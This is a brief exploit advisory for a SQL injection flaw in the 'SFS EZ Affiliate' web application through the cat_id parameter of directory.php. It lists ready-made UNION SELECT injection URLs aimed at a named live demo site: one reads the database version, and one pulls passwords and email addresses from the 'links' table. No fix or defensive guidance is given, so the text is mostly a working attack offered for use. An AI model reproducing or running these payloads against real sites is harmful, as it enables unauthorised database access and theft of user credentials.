sfsezaffiliate-sql.txt

` SFS EZ Affiliate [cat_id] Remote SQL Injection Vulnerability  
===============================================================  
  
  
----------------------------------------------------------------  
Application : SFS EZ Affiliate  
Risk : High  
  
----------------------------------------------------------------  
  
Discovered by : d3b4g  
  
email : bl4ckend[at]gmail[dot]come  
  
Site. www.bl4ck3nd.info  
----------------------------------------------------------------  
  
Exploite:http://www.turnkeyzone.com/demos/affiliate/directory.php?ax=list&sub=3&cat_id=[sql]  
  
Version Check:http://www.turnkeyzone.com/demos/affiliate/directory.php?ax=list&sub=3&cat_id=-1+union+all+select+1,2,@@version,4,5,6,7,8,9,10,11,12,13+from+links/*  
  
Demo: http://www.turnkeyzone.com/demos/affiliate/directory.php?ax=list&sub=3&cat_id=-1+union+all+select+1,2,concat_ws(password,email),4,5,6,7,8,9,10,11,12,13+from+links/*  
----------------------------------------------------------------  
  
  
----------------------------------------------------------------  
Greetz: str0ke,All my friends  
  
-----------------------------------------------------------------  
Proud to be a maldivian :))  
=======================  
  
`